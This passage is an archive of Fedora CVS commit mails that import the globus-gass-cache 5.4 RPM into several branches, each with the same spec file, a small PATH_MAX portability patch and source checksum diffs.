Requires:	globus-openssl%{?_isa} >= 1
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-openssl-devel%{?_isa} >= 1
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Globus Gass Cache Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-openssl-devel%{?_isa} >= 1
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gass Cache

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus Gass Cache Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gass-cache-5_4-1_fc11:HEAD:globus-gass-cache-5.4-1.fc11.src.rpm:1255244348


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:56 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:59:44 -0000	1.2
@@ -0,0 +1 @@
+globus_gass_cache-5.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:56 -0000	1.1
+++ sources	11 Oct 2009 06:59:44 -0000	1.2
@@ -0,0 +1 @@
+539a5698bf3ac6ab611a50967e9db489  globus_gass_cache-5.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 07:01:41 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 07:01:41 +0000 (UTC)
Subject: rpms/globus-gass-cache/F-12 globus-gass-cache.patch, NONE,
	1.1 globus-gass-cache.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011070141.7725811C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gass-cache/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24054/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gass-cache.patch globus-gass-cache.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


globus-gass-cache.patch:
 globus_gass_cache.c |    4 ++++
 globus_gass_cache.h |    4 ----
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE globus-gass-cache.patch ---
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.c globus_gass_cache-5.4/globus_gass_cache.c
--- globus_gass_cache-5.4.orig/globus_gass_cache.c	2009-05-08 19:51:16.000000000 +0200
+++ globus_gass_cache-5.4/globus_gass_cache.c	2009-08-06 10:27:18.194951999 +0200
@@ -120,6 +120,10 @@
 #define GLOBUS_L_READY_OTHER	-108	/* Data ready from another process */
 #define GLOBUS_L_ETIMEOUT	-109	/* Time out waiting for ready */
 
+#ifndef PATH_MAX
+#define PATH_MAX 4096
+#endif
+
 /* Prototype the mangling functions. */
 static
 int
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.h globus_gass_cache-5.4/globus_gass_cache.h
--- globus_gass_cache-5.4.orig/globus_gass_cache.h	2006-01-19 06:54:34.000000000 +0100
+++ globus_gass_cache-5.4/globus_gass_cache.h	2009-08-06 10:18:54.383953557 +0200
@@ -82,10 +82,6 @@
 
 #define GLOBUS_GASS_CACHE_TIMESTAMP_UNKNOWN 0UL
 
-#if !defined(PATH_MAX) && defined(MAXPATHLEN)
-#   define PATH_MAX MAXPATHLEN
-#endif
-
 /*
  *  Other definitions
  */


--- NEW FILE globus-gass-cache.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gass-cache
%global _name %(tr - _ <<< %{name})
Version:	5.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gass Cache

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
Source:		http://www-unix.globus.org/ftppub/gt4/4.2.1/updates/src/%{_name}-%{version}.tar.gz
#		PATH_MAX should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6827
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-openssl%{?_isa} >= 1
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-openssl-devel%{?_isa} >= 1
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Globus Gass Cache Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-openssl-devel%{?_isa} >= 1
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gass Cache

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus Gass Cache Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gass-cache-5_4-1_fc11:F-12:globus-gass-cache-5.4-1.fc11.src.rpm:1255244446


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:56 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:01:39 -0000	1.2
@@ -0,0 +1 @@
+globus_gass_cache-5.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:56 -0000	1.1
+++ sources	11 Oct 2009 07:01:40 -0000	1.2
@@ -0,0 +1 @@
+539a5698bf3ac6ab611a50967e9db489  globus_gass_cache-5.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 07:02:37 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 07:02:37 +0000 (UTC)
Subject: rpms/globus-gass-cache/F-11 globus-gass-cache.patch, NONE,
	1.1 globus-gass-cache.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011070237.51A3E11C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gass-cache/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24475/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gass-cache.patch globus-gass-cache.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


globus-gass-cache.patch:
 globus_gass_cache.c |    4 ++++
 globus_gass_cache.h |    4 ----
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE globus-gass-cache.patch ---
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.c globus_gass_cache-5.4/globus_gass_cache.c
--- globus_gass_cache-5.4.orig/globus_gass_cache.c	2009-05-08 19:51:16.000000000 +0200
+++ globus_gass_cache-5.4/globus_gass_cache.c	2009-08-06 10:27:18.194951999 +0200
@@ -120,6 +120,10 @@
 #define GLOBUS_L_READY_OTHER	-108	/* Data ready from another process */
 #define GLOBUS_L_ETIMEOUT	-109	/* Time out waiting for ready */
 
+#ifndef PATH_MAX
+#define PATH_MAX 4096
+#endif
+
 /* Prototype the mangling functions. */
 static
 int
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.h globus_gass_cache-5.4/globus_gass_cache.h
--- globus_gass_cache-5.4.orig/globus_gass_cache.h	2006-01-19 06:54:34.000000000 +0100
+++ globus_gass_cache-5.4/globus_gass_cache.h	2009-08-06 10:18:54.383953557 +0200
@@ -82,10 +82,6 @@
 
 #define GLOBUS_GASS_CACHE_TIMESTAMP_UNKNOWN 0UL
 
-#if !defined(PATH_MAX) && defined(MAXPATHLEN)
-#   define PATH_MAX MAXPATHLEN
-#endif
-
 /*
  *  Other definitions
  */


--- NEW FILE globus-gass-cache.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gass-cache
%global _name %(tr - _ <<< %{name})
Version:	5.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gass Cache

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
Source:		http://www-unix.globus.org/ftppub/gt4/4.2.1/updates/src/%{_name}-%{version}.tar.gz
#		PATH_MAX should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6827
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-openssl%{?_isa} >= 1
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-openssl-devel%{?_isa} >= 1
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Globus Gass Cache Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-openssl-devel%{?_isa} >= 1
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gass Cache

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus Gass Cache Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gass-cache-5_4-1_fc11:F-11:globus-gass-cache-5.4-1.fc11.src.rpm:1255244540


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:56 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:02:36 -0000	1.2
@@ -0,0 +1 @@
+globus_gass_cache-5.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:56 -0000	1.1
+++ sources	11 Oct 2009 07:02:37 -0000	1.2
@@ -0,0 +1 @@
+539a5698bf3ac6ab611a50967e9db489  globus_gass_cache-5.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 07:03:37 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 07:03:37 +0000 (UTC)
Subject: rpms/globus-gass-cache/EL-5 globus-gass-cache.patch, NONE,
	1.1 globus-gass-cache.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011070337.DCE3211C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gass-cache/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24849/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gass-cache.patch globus-gass-cache.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


globus-gass-cache.patch:
 globus_gass_cache.c |    4 ++++
 globus_gass_cache.h |    4 ----
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE globus-gass-cache.patch ---
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.c globus_gass_cache-5.4/globus_gass_cache.c
--- globus_gass_cache-5.4.orig/globus_gass_cache.c	2009-05-08 19:51:16.000000000 +0200
+++ globus_gass_cache-5.4/globus_gass_cache.c	2009-08-06 10:27:18.194951999 +0200
@@ -120,6 +120,10 @@
 #define GLOBUS_L_READY_OTHER	-108	/* Data ready from another process */
 #define GLOBUS_L_ETIMEOUT	-109	/* Time out waiting for ready */
 
+#ifndef PATH_MAX
+#define PATH_MAX 4096
+#endif
+
 /* Prototype the mangling functions. */
 static
 int
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.h globus_gass_cache-5.4/globus_gass_cache.h
--- globus_gass_cache-5.4.orig/globus_gass_cache.h	2006-01-19 06:54:34.000000000 +0100
+++ globus_gass_cache-5.4/globus_gass_cache.h	2009-08-06 10:18:54.383953557 +0200
@@ -82,10 +82,6 @@
 
 #define GLOBUS_GASS_CACHE_TIMESTAMP_UNKNOWN 0UL
 
-#if !defined(PATH_MAX) && defined(MAXPATHLEN)
-#   define PATH_MAX MAXPATHLEN
-#endif
-
 /*
  *  Other definitions
  */


--- NEW FILE globus-gass-cache.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gass-cache
%global _name %(tr - _ <<< %{name})
Version:	5.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gass Cache

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
Source:		http://www-unix.globus.org/ftppub/gt4/4.2.1/updates/src/%{_name}-%{version}.tar.gz
#		PATH_MAX should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6827
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-openssl%{?_isa} >= 1
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-openssl-devel%{?_isa} >= 1
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Globus Gass Cache Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-openssl-devel%{?_isa} >= 1
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gass Cache

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus Gass Cache Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gass-cache-5_4-1_fc11:EL-5:globus-gass-cache-5.4-1.fc11.src.rpm:1255244597


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:56 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:03:37 -0000	1.2
@@ -0,0 +1 @@
+globus_gass_cache-5.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:56 -0000	1.1
+++ sources	11 Oct 2009 07:03:37 -0000	1.2
@@ -0,0 +1 @@
+539a5698bf3ac6ab611a50967e9db489  globus_gass_cache-5.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 07:04:57 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 07:04:57 +0000 (UTC)
Subject: rpms/globus-gass-cache/EL-4 globus-gass-cache.patch, NONE,
	1.1 globus-gass-cache.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011070457.0CCF511C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gass-cache/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25794/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gass-cache.patch globus-gass-cache.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


globus-gass-cache.patch:
 globus_gass_cache.c |    4 ++++
 globus_gass_cache.h |    4 ----
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE globus-gass-cache.patch ---
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.c globus_gass_cache-5.4/globus_gass_cache.c
--- globus_gass_cache-5.4.orig/globus_gass_cache.c	2009-05-08 19:51:16.000000000 +0200
+++ globus_gass_cache-5.4/globus_gass_cache.c	2009-08-06 10:27:18.194951999 +0200
@@ -120,6 +120,10 @@
 #define GLOBUS_L_READY_OTHER	-108	/* Data ready from another process */
 #define GLOBUS_L_ETIMEOUT	-109	/* Time out waiting for ready */
 
+#ifndef PATH_MAX
+#define PATH_MAX 4096
+#endif
+
 /* Prototype the mangling functions. */
 static
 int
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.h globus_gass_cache-5.4/globus_gass_cache.h
--- globus_gass_cache-5.4.orig/globus_gass_cache.h	2006-01-19 06:54:34.000000000 +0100
+++ globus_gass_cache-5.4/globus_gass_cache.h	2009-08-06 10:18:54.383953557 +0200
@@ -82,10 +82,6 @@
 
 #define GLOBUS_GASS_CACHE_TIMESTAMP_UNKNOWN 0UL
 
-#if !defined(PATH_MAX) && defined(MAXPATHLEN)
-#   define PATH_MAX MAXPATHLEN
-#endif
-
 /*
  *  Other definitions
  */


--- NEW FILE globus-gass-cache.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gass-cache
%global _name %(tr - _ <<< %{name})
Version:	5.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gass Cache

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
Source:		http://www-unix.globus.org/ftppub/gt4/4.2.1/updates/src/%{_name}-%{version}.tar.gz
#		PATH_MAX should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6827
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-openssl%{?_isa} >= 1
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-openssl-devel%{?_isa} >= 1
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Globus Gass Cache Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-openssl-devel%{?_isa} >= 1
